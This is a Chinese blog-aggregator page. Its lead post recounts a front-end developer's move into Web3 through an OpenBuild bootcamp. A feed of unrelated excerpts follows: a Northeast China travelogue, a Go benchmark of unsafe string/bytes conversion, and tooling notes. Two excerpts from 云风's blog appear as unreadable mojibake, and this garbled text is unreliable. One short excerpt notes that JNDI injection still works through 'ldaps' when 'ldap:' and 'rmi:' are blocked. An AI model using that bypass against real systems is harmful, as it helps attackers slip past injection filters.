对于自以为「看透一切」的我而言，认为他们只要没跳脱出原来的维度，不管做什么选择都将会迎来同样的结果；然而，无论我如何解释局限性，他们都无动于衷，真令我着急！
于是乎，我心累地写下《对前端同行的最后一次劝诫》，并决定再也不「多管闲事」地试图拉那些要往火坑里跳的人一把——放下助人情结，尊重他人命运。
虽说我坚定地认为前端原有路线是走不通的了，但该怎样相对平滑地切换到另一条看似可行的路线，当时的我也是心里没数。
直到 5 月中，我在折腾家庭数据中心时可能是在想去中心化相关问题，突然脑中蹦出个词——Web3——为我指明了那条较平滑切换的路线。
接触 Web3
关于「Web3」，在 5 月 14 日之前也只是听了听，基本只知道有这么回事，没去真的了解过。
可当我在那天安装 MetaMask 体验了几个 dApp 并初步了解了生态之后，觉得 Web3 这个方向成长空间很大，很有前景——
面向个人用户的 dApp 那么少，用户体验又那么烂，基础设施体系也尚未成熟，当然「成长空间」很大啦！😂😂😂
提到「Web3」，就会想到另一个与之密切相关的词——「DAO」，即「去中心化自治组织」——是种看上去很符合我理想中样子的组织形态。
理所当然地，我立即申请并加入了一个由国人发起且与我理想相匹配的 DAO。
在快月末时，那个 DAO 的主理人在群里转发了由 OpenBuild 组织的「Web3 前端训练营」，不仅能学到转型为 Web3 全栈开发所需的知识与技能，还是免费学，另有各种奖励，我实在是找不到不报名的理由!
训练营的学习
该训练营从 6 月 4 日开始，完全在线上进行，且除了答疑环节之外都是异步的，无论是教学的或是学习的都有很大的自由空间，可自主安排时间。
「Web3 前端训练营」宣传图 整体的定位与设计更倾向于「帮助有经验的 Web2 前端转型为 Web3 前端」，包含 6 节基础课与 3 节进阶课：
- 基础课程——开发一个基于 EVM 的 dApp 所要掌握的基本要素，并用较常见的项目类型 NFT market 和 DEX 作为实战练习；
- 进阶课程——推广利益相关方的产品，顺便帮助想要入行的开发者尽早适应目前行业的多变。
每节课都有相应的课后作业，做好后需在配套的 GitHub 仓库中提交 PR 等待审核人员查看；在 7 月 16 日之前提交的能获得奖励，最高可达 43 USDT。
若是在学习与做课后作业过程中遇到问题，还有训练营专属群供大家实时地探讨交流，在互助式学习的同时也起到互相监督的作用。
不只做课后作业有奖励，写出好的学习笔记以及为训练营做出其他贡献都会有奖励，不过同样仅限于 7 月 16 日之前——作为活跃的积极分子，我自然都拿到啦～😎😎😎
即便现在已经没奖励了，但要是想向 Web3 转型，这个训练营的课程还是值得一看的；最好是照样跟着做课后作业，我身为审核人员之一会尽可能去批改。
关于我在参加训练营时的更多体验，详见学习笔记《智能合约纯小白是如何完成自己的第一个 dApp——NFT market？》和《OpenBuild Web3 前端训练营复盘》。
训练营的收获
这一个多月的训练营经历对我起到了较大影响，算是我人生中的一个里程碑，因为多个角度的收益看起来还不错——
最基本也是最重要的，达成了报名参加训练营的最初目的——转型为 Web3 全栈开发——虽然还只是刚迈进门槛，但已能够独立开发完整的 dApp，为接下来参加黑客松打下基础。
由于在学习过程中积极地在群里与他人交流，并时不时给主办方提建议，我被吸收进「助教」队伍，帮助审核课后作业。
此后，我又「拼命」审核并合并了好几百个 PR，间接教导了一部分人使用 Git 的技巧以及进行开源协作时的注意事项。
鉴于我较为突出的表现，算上做课后作业和写学习笔记的奖励，最终在结营时获得了 500 多 USDT，应该是最多的了。
「Web3 前端训练营」优秀助教学员 我在训练营期间的活跃产生了些许影响力，与其他人建立了连接并逐渐熟络起来，包括主办方 OpenBuild 的创始人。
以这次的训练营为引子，我向 OpenBuild 提了些比较系统性的改进建议，也轻微地畅想了下其未来的发展方向；也许是看我有心携手共进，被拉进到 PMC 当中了。
「OpenBuild PMC」成员 经过多次沟通交流，至少我认为与 OpenBuild 之间可建立一种深度合作关系——形式上相互独立，实际上却又紧密相连。
小结
作为一名摸爬滚打十多年的 Web 前端工程师，坚决不看好传统互联网行业的 Web 前端开发前景；机缘巧合之下，让我发觉 Web3 这个能最大限度平滑迁移的行业。
自那之后，我果断决定向 Web3 全栈开发转型，即除了原本的 Web 前端知识与技能外，还需学习并掌握智能合约开发，在此基础上积累相关项目经验。
通过深入参与由 OpenBuild 组织的「Web3 前端训练营」，我不仅达到了「转型」这个最基本的目的，还得到了很多额外的收获，正反馈十分充足！
- 博客 土木坛子 2024-08-22 00:00:57假期带一长辈朋友去老家同堂寺散心，很欣喜地见到上次为寺庙采购的法器都已投入使用，我顺便向长辈朋友介绍了事情的来 […]
- 博客 61's life 2024-08-21 23:02:58137
- 博客 太隐 2024-08-21 20:29:48138
- 博客 61's life 2024-08-20 23:51:19139
- 博客 卢昌海的个人主页 2024-08-20 22:19:00站长在 YouTube 频道发布的视频
- 博客 bboysoul的博客 2024-08-20 21:27:00
简介
之前一直是使用busuanzi
https://github.com/soxft/busuanzi
但是为了降本增效，所以想直接使用umami上的数据算了，但是umami如果统计所有时间的数据会很慢，肯定不如busuanzi这样直接从redis拿数据库快，所以需要有一个定时任务的接口去定时获取数据然后缓存下来，这样每次用户请求博客的时候拿到的数据就是之前获取过的数据
- 博客 bang's blog 2024-08-20 11:31:00是什么 在机器学习领域，”模态”被用来描述不同类型的数据形式，如文本、图像、视频、音频 […]
- 博客 西秦公子 2024-08-20 00:07:09飞书执行季 OKR 已经很久了，相比于过去的双月 OKR，我认为这确实是一个好的事情。季度 OKR 可以让我们 […]
- 博客 bboysoul的博客 2024-08-19 21:44:00
简介
skopeo 是一个用于在不同的容器镜像存储之间进行复制、同步和管理的工具。
- 博客 elmagnifico 2024-08-19 00:00:00
Foreword
记录一下东北见闻
长春
长春是吉林的省会，很奇怪为什么不是吉林，吉林其实离长春很近，只有一百多公里。吉林历史上确实是吉林的省会，后来伪满洲大力发展长春，让长春成了省会的潜在竞争者，1953年长春成了直辖市，吉林还是省会，从1954年开始长春成为了吉林省会，自此就再也没变过了。
长春比较有名的景点：
- 伪满皇宫博物院，溥仪最后做皇帝时的皇宫
- 净月潭
- 长春电影制片厂
- 这有山，其实是个比较特殊的商业中心，假山坐在楼中
- 刘老根大舞台，欣赏不来
- 德云社，东北竟然也有相声社，第一次见
- 桂林路，网红、小吃一条街，有的东西大差不差
- 长春天主教堂，比较西式的建筑，国内还是满少见的
东北的衰败，来到长春，确实很明显，特别是还刚巧去了长春的老城区，人民广场附近。地图上看起来像是市中心，其实实际到了以后，有点黑灯瞎火。周围没有很多高楼，更多的是黑灯的老楼，像是很久都没有人住了。
附近的门店也有很多关门很久很久了，人烟稀少。出租车司机说新城区人多一些，老城区基本没啥人了。到达的比较晚，也没啥吃饭的门店了，只有路边的烧烤，确实符合东北的风格，价格很低。
延吉
延吉城区比较小，繁华路段基本就集中在2-3公里的一条长街上。印象最深刻的就是打车贼便宜，5块的起步价，到哪里都是5块。可能正好处于旅游旺季，逆天的酒店价格，比深圳贵1.5倍左右。房价几千到一万多，在这样的小城市里也算是有点高的，招牌上基本都是中韩双语，路上遇到的人说韩语的也非常多。
延吉的景点都比较一般，甚至说有点寒酸：
- 水上市场，就是个早市
- 西市场，类似年代久远的百货商场，卖啥的都有，由于是旅游点之一，所以卫生、环境都还不错，相对人也比较多，不要好奇东市，菜市场而已
- 网红墙，妥妥的营销出来的景点，就是一堆广告牌，霓虹灯，深圳满大街都可以算是。人头攒动，摩肩接踵，过了这一片立马就消停了，属实迷惑，非要来的话可以接近23点再去，人少很多
- 帽儿山，比延吉市区高一头，可以俯瞰整个延吉，然而延吉没啥好看的
- 阿里郎广场，州政府对面，延边图书馆，跑道、街健、运动场，足球氛围拉满，挺不错的，深圳没几个这种地方，当地人多一些，旅客基本没有
- 延吉图们口岸，朝鲜，曾经在丹东见过对面破败的朝鲜，十年过去了，似乎也没什么变化
- 延边大学，双一流、211，进入校园需要提前预约
大概太阳下山后，中心老城区里非通行的广场上，摆摊、跳舞、烧烤、踢毽子、按摩，生活气氛浓郁。但总体都是老头老太太了，甚至还能看到营业的练歌房，老头老太太刚吼完出来，年轻人也不知道去了哪里。
百货大楼、地下街、防空洞，旋转大门，这些曾经老旧的东西，在这里还能看到
延吉作为距离长白山最近的城市，导致很多人去长白山玩，顺道被忽悠来延吉逛一逛，顺带带动了延吉的酒店。
延边大学
延边大学从正门进入需要提前预约，预约也很简单，微信搜索延边大学小程序-校内通行信息登记系统即可，简单就能预约到了，扫人脸进门
延边大学如果是从侧面进入是不需要预约信息的，跟学生一样走进去就行了
延边大学9.7号才开学，但是新生军训8.17已经提前开始了，操场上很多训练的方队。看了一下开学时间，延边大学也有小学期，暑假也是8月份才放的
学校里自习桌还挺高级的，自带小米50w无线快充，挺高级的
学校里可以参观的比较少，一个博物馆，一个抗联馆，前者是类似校史馆，后者是红色文化宣传教育馆。人稍微多一点的是游泳馆，似乎是对外开放的，买票就能进，而且很大。
学校食堂挺便宜的，都正常开放了，偏远角落还有一个咖啡文化馆，不过基本没啥人。
总体来说学校不是特别大，一下午就足够逛完了，大部分地方都没啥看点，再加上学生没返校，路人很少，只能追忆一下以前的校园生活。
长白山
长白山分为西坡和北坡，无论是哪边，都需要在天气好的情况下去，否则有可能封山
- 北坡风景比较多，天池，瀑布，走路比较少，很快就能到达山顶
- 西坡无法直达山顶，需要徒步1440级台阶
长白山如果隔天去，可能会遇到买不到票，然后去咸鱼找黄牛，黄牛说要明天19点以后给票或者当天19点以后给（巨大坑点），一张票加个40左右。
官方票务显示都没有票，但是真的等到了第二天大概18点以后，就会发现官方放票了。大多数票应该是提前被旅行社或者黄牛拿走了，导致官方一直显示是0，等时间到了，一放出来几千近万张票就来了，完全没必要加钱。
冬季去西坡，夏季去北坡，从延吉出发去长白山还是挺远的，有个大概100多公里。长白山本身所在就是二道白河镇（基本就是为长白山旅游住宿的小镇），实际去北坡行程是先到到了二道白河镇，买了北坡门票，然后乘坐官方大巴上山，大概50分钟左右到达山腰吧。转乘15分钟的小车，可以到达山顶，观赏天池。
山上观看天池的地方很小，人很多，除了看、拍照以外基本没有啥额外的娱乐活动了
- 山腰温度还行比正常低10-15度左右，山顶温度很低了，接近0度了，最好多带点衣服，风也很大
- 天池观赏非常看天气，大雾、多云建议都别去，大概率会关闭，如果不关闭天池也会像图里的，雾蒙蒙的，晴天风景完全不同
隐约可以看到对面这条小路，应该就是朝鲜了
山腰下来以后的其他景区，基本没啥看头，温泉只有一点点，没啥给你接触的机会；大瀑布不开放；岳桦栈道，也一般，纯走路没啥内容；小天池，还没村里的鱼塘大，去不去都那样；
绿渊谭，也是个小水池+小瀑布，观赏性实在是太低了，至于其他的人造景区、人造园林，那就更没意思了。
总的来说长白山也就天池值得一看，其他地方都太一般了，人工痕迹过重了，长白山大部门门票基本都是给了车票，全程都是景区内车接车送，当天景区内一共坐了6次车，在不同景点直接往返。
图们
从延吉到图们不到30公里，一小时不到就能到了。图们，曾经可以去朝鲜，是和朝鲜贸易的口岸，不过目前已经被废弃了，除了看看，没啥可玩点了，想去到朝鲜从这里也是完全不可能的了。
口岸界碑
25买个门票，就可以登上口岸顶
遥望对面的朝鲜，还是相当破败的，楼房里烧柴火，玻璃都没有，用塑料布当玻璃，正中大楼上还挂着将军一家的头像，很是嘲讽
图们口岸广场上玩门球的大爷和大妈，看了一场精彩的逆转，门球还挺少见的
珲春
珲春，一眼望三国，朝鲜+俄罗斯，珲春距离海参崴（曾经地理课本里经常出现的地方）很近了，可以直接从珲春出关进入俄罗斯，听说可以在俄罗斯打靶玩，目前还是免签的，很容易就可以到对面去看看了，不过除此以外珲春好像就没啥了
Summary
东北衰败，挺可惜的，人都没了，还谈什么振兴呢。看到了这样的小城市，再对比深圳的灯火通明。而小城市里的闲适、慵懒，在深圳怎么也找不到。如果不是为了欲，不是为了追求，为了卷，在小城市里work-life balance也许是不错的选择，不过那样的生活有点没意思，一眼就能望到头。
一路看下来，整体消费还是比较低的，深圳满街的咖啡奶茶店，在这里就很少，唯一常见的就是蜜雪冰城。
快要接近8.20了，小小延吉，一个联名咖啡瞬间就没了，hhhh
回到深圳以后，同比深圳12点还灯火通明，延吉8点就没啥人了，街边店铺都关了，人才是发展的动力啊
- 博客 二丫讲梵 2024-08-18 18:31:17如要阅读全文，点击标题跳转。音乐节惊魂，铭记安全大于一切
- 博客 云风的 BLOG 2024-08-18 15:44:13
���������� C ������ʹ������ handle ��������ָ�롣��������Ҫ�������õ�ʱ��
����Ϊ��һ���õ� handle �����㷨��Ӧ�����㣺
- ��ʹ handle �������ˣ����������ҲӦ�ñ���������Ӧ�ñ��µ� handle ���á�posix api ����ļ� id �Ͳ�������һ�㡣
- �ṩһ�� api �����ж�һ�� handle �Ƿ���Ч����ʱ�临�Ӷ�Ϊ O(1) ��
- �� handle ��ӦΪ������ڴ��ַ��ʱ�临�Ӷ�Ӧ��Ϊ O(1) ����Ӧ�ñ�ָ�������Ե��������⡣��Ȼ hash �������Ͽ������� O(1) ��ʱ�临�Ӷȣ��������ij�����hash ��ײ����ʱ�������ܱ�֤��һ�㡣
- ���� handle ʱ�临�Ӷ�ҲΪ O(1) ��
- handle ������λ����ò�Ҫ���� 32 bit ��
���dz������еij���һ�͵��ĸ�������ͬʱ�����������ڷdz��ڳ��������� 32bit ������Ӧ���ǹ����ˡ�
�Ƚϼ�ʵ�ַ�������һ������ id ��Ȼ����һ�� hash �������� id ��ָ���ӳ�䡣�� hash �������ϸ�� O(1) ���Ӷȡ��� skynet �У���ʹ����һ���ķ��������� id ��������� hash ��ͻ�����ټ�һ��ֱ������ͻΪֹ������������������ 4 ������
��Ȼ��ͬʱ���� 5 ������δ���ж������壬��������뵽һ����Ȥ�ķ�������ʵ����һ�£��о�����������
ǰ���ǣ�Ϊ���� 32bit ���־��ã�ͬʱ��Ч�� handle ����̫�ࣨ����������������ģ�������ͬʱ��Ч�� handle �ܶ�ʱ����Ҫ����Ƶ�����ٺʹ������ٵļ��� handle ��
������һ���̶� size Ϊ 2^n �������������������е� handle ��handle �� size ȡģ��������������������ڵ� slot ��Ȼ������ֻ��Ҫά��һ������ hash �������з����ȥ��Ч�� handle ���������� hash ���з�����ײ�����ǿ����� O(1) ʱ�������ģ������ǣ�ÿ�λ��� handle �����Ѹ� slot �ĸ� (32-n) bits ��һ������µĴ������ id ���Բ�����ѷ������ id �ظ���
�ͼ�ѭ������ id ����ͻ���㷨��Ƚϣ���������ʱ���ϸ��ȶ�������Ҫ�ĺô��ǣ�����㷨���Ѻľ� 32bit �Ŀռ䣨�������ƣ�����������Ч handle �����϶�ʱ��һ��������ײ������ id �ķ�ʽһ���Ӿͻ������ܶ����֣�����Щ�����д��Ǵ���û��ʹ�ù���������ȫ�ķ����ȥ�ġ�
�� handle ���٣�����ʱ����ͬʱ�� handle ���ڸ�������� free list ���ɱ�֤�´� O(1) ʱ���������� handle �ķ��䡣
�ٸ����ӣ�
����������������Ч handle ��Ϊ 4 ������� 0 ����Ϊ��Ч id ����ô�����Ĵκ�handle �ֱ�Ϊ 1 2 3 4 ��
��ʱ��������ǰ� 2 ���٣����·���Ļ����µ� handle �� 6 ������ 5 ����Ϊ 5 �� 1 �ᷢ�� hash ��ײ������ʱ�������� 6 Ȼ�����һ���� handle ������µ� handle ���� 6+4 = 10 ��
������㷨�У��Dz���֮���������� handle ���� 10 ���أ������ǡ�������� 1 ���ٷ���Ļ�����õ� 5 ��5 �� 10 С��
����㷨��õ� handle ����ֵ���ǵ��������ģ�����������������ʡȫ�������ֿռ䡣
����������������ô�죿һ�����Dz��ÿ������������Ӧ��һ��ʼ�滮�����ޣ����� posix ��ͬʱ���ļ����������ޣ���������������Ҳ���Ա��� size ��ֻ���� rehash �Ĺ��̱Ƚϸ��ӣ�������Ҫ�����е���Ч handle ���������������У�����Ҫ��������Щ�����ù��� slots ��
��д��һ����ʵ�֣�https://gist.github.com/cloudwu/dcbf583f7034ef6c0f8adec3f76860f0
����������ݽṹ�����ǾͿ���ͬ����������һ���������У�Ȼ���� handle �������ǣ���ָ����ȣ�����û�ж���Ŀ��������������ºô���
- ���Լ��ж�һ�� handle �Ƿ���Ч��ָ������ȫ��������㣩������д����׳�Ĵ��롣
- �������־û���
- handle �������� C/S ͬ����
- 博客 太隐 2024-08-18 09:40:02谁是我们的敌人，谁是我们的朋友？
- 博客 太隐 2024-08-18 09:30:39中路因循我所长，古来才命两相妨
- 博客 太隐 2024-08-17 11:01:49150
- 博客 卢昌海的个人主页 2024-08-17 10:17:00站长在哥本哈根旅游期间所撰的文字
- 博客 构建我的被动收入 2024-08-17 08:00:00BMPI周记008：设止损而勇试错
- 博客 bboysoul的博客 2024-08-17 05:17:00
简介
介绍下搭建gitea runner时候碰到的一些坑
- 博客 61's life 2024-08-16 23:48:53154
- 博客 bboysoul的博客 2024-08-16 23:27:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 离别歌 2024-08-16 23:16:00
前段时间看到群友问了这样一个问题：
ldap:和rmi:关键字被拦截了，是否还可以进行JNDI注入。方法很简单，就是使用ldaps，但后来发现很多人并不知道怎么搭建LDAPS服务器，正好CoNote里有这个功能，写篇简单的文章讲讲。0x01 LDAPs是什么
在Java JNDI注入的过程中，用户传入一个URL，Java会根据URL的scheme来判断具体使用哪个包来处理，这些包的位置在
... - 博客 二丫讲梵 2024-08-16 05:16:07如要阅读全文，点击标题跳转。学习周刊-总第172期|whoami|caesium-image-compressor|quick-waitlist|inwind-landing-page|fastapi-admin
- 博客 61's life 2024-08-15 23:58:11158
- 博客 西秦公子 2024-08-15 00:09:53作为一个技术出身的产品同学，我比较自豪的是，我不会提出一些非常离谱的需求。因为我大体上可以感知到技术的边界在哪 […]
- 博客 61's life 2024-08-14 23:05:00160
- 博客 bboysoul的博客 2024-08-14 22:31:00
- 博客 bboysoul的博客 2024-08-14 19:25:00
- 博客 61's life 2024-08-13 23:53:06163
- 博客 鸟窝 2024-08-13 22:16:34
昨天公司群中同事提到 Go 1.22 中 string 和 bytes 的互转不需要再用 unsafe 那个包了，直接转就可以。我翻看了 Go 1.22 的 release notes 没找到相应的介绍，但是大家提到了 kubernetes 的 issue 中有这个说法：
As of go 1.22, for string to bytes conversion, we can replace the usage of
unsafe.Slice(unsafe.StringData(s), len(s))with type casting[]bytes(str), without the worry of losing performance.As of go 1.22, string to bytes conversion
[]bytes(str)is faster than using theunsafepackage. Both methods have 0 memory allocation now.自 Go 1.22 起，对于 string 到 bytes 的转换，我们可以用类型转换
[]bytes(str)来替换unsafe.Slice(unsafe.StringData(s), len(s))的用法，而不用担心性能损失。
自 Go 1.22 起，string 到 bytes 的转换[]bytes(str)比使用 unsafe 包更快。现在两种方法都不会有内存分配。这个说法让我很好奇，但是我还是想验证一下这个说法。
注意，这个说法只谈到了 string 到 bytes 的转换，并没有提到 bytes 到 string 的转换，这篇文章也会关注这两者的互转。
首先，让我们看看几种 string 和 bytes 的转换方式，然后我们再写 benchmark 比较它们之间的性能。
一、强转
字符串和 bytes 之间可以强制转换，编译器会内部处理。代码如下：
12345678910111213func toRawBytes(s string) []byte {if len(s) == 0 {return nil}return []byte(s)}func toRawString(b []byte) string {if len(b) == 0 {return ""}return string(b)}这里我们做了一点点优化，处理空 string或者 bytes 的情况。
二、传统 unsafe 方式
reflect 包中定义了
SliceHeader和StringHeader, 分别对应 slice 和 string 的数据结构123456789type SliceHeader struct {Data uintptrLen intCap int}type StringHeader struct {Data uintptrLen int}我们按照这种数据结构，可以实现 string 和 bytes 的互转。我们暂且把它叫做
reflect方式吧，虽然下面的代码没有用到reflect包，但是实际我们是按照reflect包中的这两个数据结构进行转换的:12345678910111213141516func toReflectBytes(s string) []byte {if len(s) == 0 {return nil}x := (*[2]uintptr)(unsafe.Pointer(&s))h := [3]uintptr{x[0], x[1], x[1]}return *(*[]byte)(unsafe.Pointer(&h))}func toReflectString(b []byte) string {if len(b) == 0 {return ""}return *(*string)(unsafe.Pointer(&b))}三、新型 unsafe 方式
我在两年前的文章与日俱进，在 Go 1.20 中这种高效转换的方式又变了介绍了新的 unsafe 方式，reflect 包中的
SliceHeader和StringHeader准备废弃了。让我们看看这种新的转换方式：12345678910111213func toBytes(s string) []byte {if len(s) == 0 {return nil}return unsafe.Slice(unsafe.StringData(s), len(s))}func toString(b []byte) string {if len(b) == 0 {return ""}return unsafe.String(unsafe.SliceData(b), len(b))}利用
unsafe.Slice、unsafe.String、unsafe.StringData和unsafe.SliceData完成 Slice 和 String 的转换以及底层数据的指针的获取。四、kubernetes 的实现
在 k8s 中，使用的是下面方式的优化的转换：
1234567func toK8sBytes(s string) []byte {return *(*[]byte)(unsafe.Pointer(&s))}func toK8sString(b []byte) string {return *(*string)(unsafe.Pointer(&b))}可以看到，相对于传统 unsafe 方式，k8s 的实现更简洁，并没有为
toBytes临时构造3元素的数组，而是直接将 string 和 bytes 的指针进行转换。string不是只包含两个字段么？slice不是包含三个字段么？
toK8sBytes返回的[]byte的cap是怎么确定的呢？ 最后我们再分析这个问题，现在先把这几个实现的性能搞清楚。性能比较
我们分别对这几种实现进行 benchmark，看看它们之间的性能差异。
使用一个简单的字符串和它对应的bytes, 分别进行 string 到 bytes 、 bytes 到 string 的转换。123456789101112131415161718192021222324252627282930313233343536var s = "hello, world"var bts = []byte("hello, world")func BenchmarkStringToBytes(b *testing.B) {var fns = map[string]func(string) []byte{"强制转换": toRawBytes,"传统转换": toReflectBytes,"新型转换": toBytes,"k8s转换": toK8sBytes,}for name, fn := range fns {b.Run(name, func(b *testing.B) {for i := 0; i < b.N; i++ {bts = fn(s)}})}}func BenchmarkBytesToString(b *testing.B) {var fns = map[string]func([]byte) string{"强制转换": toRawString,"传统转换": toReflectString,"新型转换": toString,"k8s转换": toK8sString,}for name, fn := range fns {b.Run(name, func(b *testing.B) {for i := 0; i < b.N; i++ {s = fn(bts)}})}}在Mac mini M2上运行，go1.22.6 darwin/arm64，结果如下：
12345678goos: darwingoarch: arm64pkg: github.com/smallnest/study/str2bytesBenchmarkStringToBytes/强制转换-8 78813638 14.73 ns/op 16 B/op 1 allocs/opBenchmarkStringToBytes/传统转换-8 599346962 2.010 ns/op 0 B/op 0 allocs/opBenchmarkStringToBytes/新型转换-8 624976126 1.929 ns/op 0 B/op 0 allocs/opBenchmarkStringToBytes/k8s转换-8 887370499 1.211 ns/op 0 B/op 0 allocs/opstring 转 bytes性能最好的是k8s方案， 新型转换和传统转换性能差不多，新型方案略好，强制转换性能最差。
12345BenchmarkBytesToString/强制转换-8 92011309 12.68 ns/op 16 B/op 1 allocs/opBenchmarkBytesToString/传统转换-8 815922964 1.471 ns/op 0 B/op 0 allocs/opBenchmarkBytesToString/新型转换-8 624965414 1.922 ns/op 0 B/op 0 allocs/opBenchmarkBytesToString/k8s转换-8 1000000000 1.194 ns/op 0 B/op 0 allocs/op而对于 bytes 转 string，k8s方案性能最好，传统转换次之，新型转换性能再次之，强制转换性能非常不好。
在Linux amd64上运行，go1.22.0 linux/amd64，结果如下：
1234567891011121314goos: linuxgoarch: amd64pkg: testcpu: Intel(R) Xeon(R) PlatinumBenchmarkStringToBytes/强制转换-2 30606319 42.02 ns/op 16 B/op 1 allocs/opBenchmarkStringToBytes/传统转换-2 315913948 3.779 ns/op 0 B/op 0 allocs/opBenchmarkStringToBytes/新型转换-2 411972518 2.753 ns/op 0 B/op 0 allocs/opBenchmarkStringToBytes/k8s转换-2 449640819 2.770 ns/op 0 B/op 0 allocs/opBenchmarkBytesToString/强制转换-2 38716465 29.18 ns/op 16 B/op 1 allocs/opBenchmarkBytesToString/传统转换-2 458832459 2.593 ns/op 0 B/op 0 allocs/opBenchmarkBytesToString/新型转换-2 439537762 2.762 ns/op 0 B/op 0 allocs/opBenchmarkBytesToString/k8s转换-2 478885546 2.375 ns/op 0 B/op 0 allocs/op整体上看，k8s方案、传统转换、新型转换性能都挺好，强制转换性能最差。k8s在bytes转string上性能最好。
性能分析
等等，kubernates的讨论中，不是说Go1.22中string到bytes的转换可以直接用
[]byte(str)了么？为什么这里的性能测试中，强制转换为什么性能那么差呢？同时你也可以看到，强制转换每个op都会有一次内存分配:
1 allocs/op,这严重影响了它的性能。如果我们编写两个benchmark测试函数, 如下:
1234567891011func BenchmarkStringToBytesRaw(b *testing.B) {for i := 0; i < b.N; i++ {_ = toRawBytes(s)}}func BenchmarkBytesToStringRaw(b *testing.B) {for i := 0; i < b.N; i++ {_ = toRawString(bts)}}执行:
12345goos: darwingoarch: arm64pkg: github.com/smallnest/study/str2bytesBenchmarkStringToBytesRaw-8 1000000000 0.2921 ns/op 0 B/op 0 allocs/opBenchmarkBytesToStringRaw-8 506502222 2.363 ns/op 0 B/op 0 allocs/op你会发现一个令人诧异的事情，强制转换的性能非常好，没有额外的内存分配(零拷贝)，设置字符串转换为bytes好太多。
这是咋回事呢？
当然聪明的你就会想到这个肯定是编译器做了优化，通过内联，把toRawBytes的函数调用展开了，这个好处是发现s
12345678# go test -gcflags="-m=2" -bench Raw -benchmem..../convert_test.go:48:6: can inline toRawBytes with cost 10 as: func(string) []byte { if len(s) == 0 { return nil }; return ([]byte)(s) }./convert_test.go:55:6: can inline toRawString with cost 10 as: func([]byte) string { if len(b) == 0 { return "" }; return string(b) }..../convert_test.go:101:17: ([]byte)(s) does not escape./convert_test.go:101:17: zero-copy string->[]byte conversion...通过
-gcflags="-m=2", 我们可以观察内联和逃逸分析的结果，可以看到编译器优化了强制转换的函数，将string转换为bytes的操作优化为零拷贝。而上一节我们的benchmark中，
bts = toRawBytes(s)这个操作，会导致([]byte)(s)逃逸到堆上，这样就会有一次内存分配，并且性能底下。所以你现在情况了，Go1.22确实对强制转换做了优化，但是这个优化是通过编译器的内联和逃逸分析来实现的，并不是所有的场景都能够优化到零拷贝。
谁能在编写代码的时候注意到这个优化呢，甚至准确的判断能否避免逃逸？所以可能在现阶段，我们还是会通过其他三种方式进行优化。
貌似Go 1.23会进一步优化，参考这个CL: cmd/compile: restore zero-copy string->[]byte optimization
k8s实现的问题
一开始，我们留了一个问题：
toK8sBytes返回的[]byte的cap是多少？123func toK8sBytes(s string) []byte {return *(*[]byte)(unsafe.Pointer(&s))}len是明确的，字段对应字符串的len字段，但是cap是多少呢？字符串可是没有cap字段的。我们可以通过下面的代码来验证:
1234567func Test_toK8sBytes(t *testing.T) {a := *(*[3]int64)(unsafe.Pointer(&s))fmt.Printf("%d, %d, %d\n", a[0], a[1], a[2])b := *(*[]byte)(unsafe.Pointer(&s))fmt.Printf("%d, %d, %d\n", unsafe.SliceData(b), len(b), cap(b))}首先我们强制获取三个字段，第一个字段应该是字符串底层数据的指针。第二个字段是字符串的长度，第三个字段是什么呢？
同样我进行强制转换成slice of byte, 然后打印slice的底层数据指针，长度和容量。输出结果如下(每次运行可能会得到不同的结果):
124375580047, 12, 43759146244375580047, 12, 4375914624可以看到两者的结果是一致的，第一个值就是底层数据指针，第二个值是长度12，第三个啥也不是，就取得的内存中的值，随机的，并不是容量12。
所以通过这种方式转换的slice，其容量是不确定的，这个是一个问题，可能会导致一些问题，比如slice的append操作。
1、如果得到的slice的容量那么大，我们是不是尽情的append数据呢？
1234b := *(*[]byte)(unsafe.Pointer(&s))fmt.Printf("%d, %d, %d\n", unsafe.SliceData(b), len(b), cap(b))b = append(b, '!')运行上面的测试会导致panic:
123unexpected fault address 0x105020dfbfatal error: fault[signal SIGBUS: bus error code=0x1 addr=0x105020dfb pc=0x10501ee98]2、如果修改返回的bytes, 共享底层数据的原始string是不是也会发生变化？
123b := *(*[]byte)(unsafe.Pointer(&s))fmt.Printf("%d, %d, %d\n", unsafe.SliceData(b), len(b), cap(b))b[0] = 'H'运行上面的测试，会导致string的值
s发生变化吗? 答案是不会，运行这段代码依然会导致panic"123unexpected fault address 0x104f1cdcffatal error: fault[signal SIGBUS: bus error code=0x1 addr=0x104f1cdcf pc=0x104f1ae74]3、如果修改原始的bytes, 返回的string是不是也会发生变化？
我们知道，字符串是不可变的，所以这个问题的答案是？
测试代码如下：1234c := *(*string)(unsafe.Pointer(&bts))fmt.Printf("%s\n", c)bts[0] = 'H'fmt.Printf("%s\n", c)原始的bytes bts发生变化，返回的string c会发生变化吗？上面的代码打印出修改前后同一个字符串的值：
12hello, worldHello, world哈，字符串也变成了"可变"的了。
总结
Go 1.22中，string和bytes的互转在部分场景(未逃逸的情况)下做了优化，实现了零拷贝，性能优秀，但是并不是所有的场景都能优化到零拷贝，所以我们、可以再等等，再等几个版本优化完全后再替换传统的互转方式。
在字符串和bytes互转的情况下，我们要确定bytes是不是可变的，这样会避免意外的情况发生，否则不妨采用强制转换的方式，安全第一。
- 博客 云风的 BLOG 2024-08-13 21:14:40
������˼����һ�£����ڹ��������Ļ��ؽ�������Ϸ������ṩ�ĺ������鵽����ʲô���Լ�������ȥ�걻ȡ������Ϸ�������ʲô����������Ҫ��������Ϸ��ע�ص�Ӧ�������
�����ʱ��Ƚϳ����������ؽ�������Ϸ�����ǹ�����ȱ�������ǵ��淨��ʵ����ܴ�ȴ����һЩ���Ƶ����顣����������⣬������ܶ�Σ��ó��Ľ����ǣ����ǵ�ȷ��һЩ��֮ͨ����
���������������Ϸʱ�����������̷dz����ƣ������������ģ�
��ҿ�ʼ�˽�������������ǹ�����˵�����Dzɼ�ԭ�ϣ������ӹ��������Ƽ�ƿ���ƽ����з�չ������ȱ����˵���ǽ�����ʩ�����ṩС�˵ĸ����������裬��Ҫ������������
������˽���Ϸ���ռ�Ŀ�ꡣ��ͨ���ǽ���һ���ΰ�Ĺ��̡����ǹ�����ȱ����ԭ��Ŀ�꣬��Լ��ͬ�Ķ�ѡ����������������������������
